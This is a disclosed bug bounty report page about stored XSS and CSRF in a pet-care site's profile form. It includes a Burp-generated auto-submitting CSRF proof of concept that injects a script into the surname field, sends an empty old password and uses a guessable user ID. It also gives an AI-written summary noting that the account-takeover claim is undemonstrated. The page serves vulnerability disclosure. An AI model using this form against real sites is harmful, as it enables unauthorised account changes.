Stored XSS + CSRF in "apellido" value
The report places a script payload in the surname field and shows a cross-site form submission without a token, claiming account takeover.
- Triaged in 4 days
- Fixed in 25 days
- Disclosed after 2 months
Summary:
Hi team,
Steps To Reproduce:
[add details for how we can reproduce the issue]
This is my CSRF POC:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="██████" method="POST" enctype="multipart/form-data"> <input type="hidden" name="nombre" value="aaaaaaaaaaaaaaaa" /> <input type="hidden" name="apellido" value="<script>alert()</script>" /> <input type="hidden" name="email" value="weqwad@intigriti.me" /> <input type="hidden" name="rut" value="" /> <input type="hidden" name="idProvincia" value="15" /> <input type="hidden" name="idLocalidad" value="0" /> <input type="hidden" name="optin[usuario_info_miroyalcanin]" value="no" /> <input type="hidden" name="optin[usuario_info_miroyalcanin]" value="si" /> <input type="hidden" name="optin[usuario_info_marspetcare]" value="no" /> <input type="hidden" name="optin[usuario_info_marspetcare]" value="si" /> <input type="hidden" name="optin[usuario_investigaciones]" value="no" /> <input type="hidden" name="optin[usuario_investigaciones]" value="si" /> <input type="hidden" name="optin[usuario_info_perros]" value="no" /> <input type="hidden" name="optin[usuario_info_perros]" value="si" /> <input type="hidden" name="optin[usuario_info_gatos]" value="no" /> <input type="hidden" name="optin[usuario_info_gatos]" value="si" /> <input type="hidden" name="switch_pass" value="off" /> <input type="hidden" name="ck_oldpass" value="" /> <input type="hidden" name="oldpass" value="" /> <input type="hidden" name="clave" value="" /> <input type="hidden" name="clave2" value="" /> <input type="hidden" name="idUsuario" value="91737" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>The "oldpass" value can empty to bypass:))
The "idUsuario" value requirement can guess!!!
impact:
Account Takeover
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the surname field was saved without sanitisation and the profile form lacked an anti-CSRF token.
Impact
The author claims account takeover, though the text gives no demonstration of how the stored script or the cross-site form submission actually leads to it.
What the attacker needed
Attacker can submit the profile form
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The report puts a script payload in a surname field and shows a form submitted cross-site without a token, claiming account takeover.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.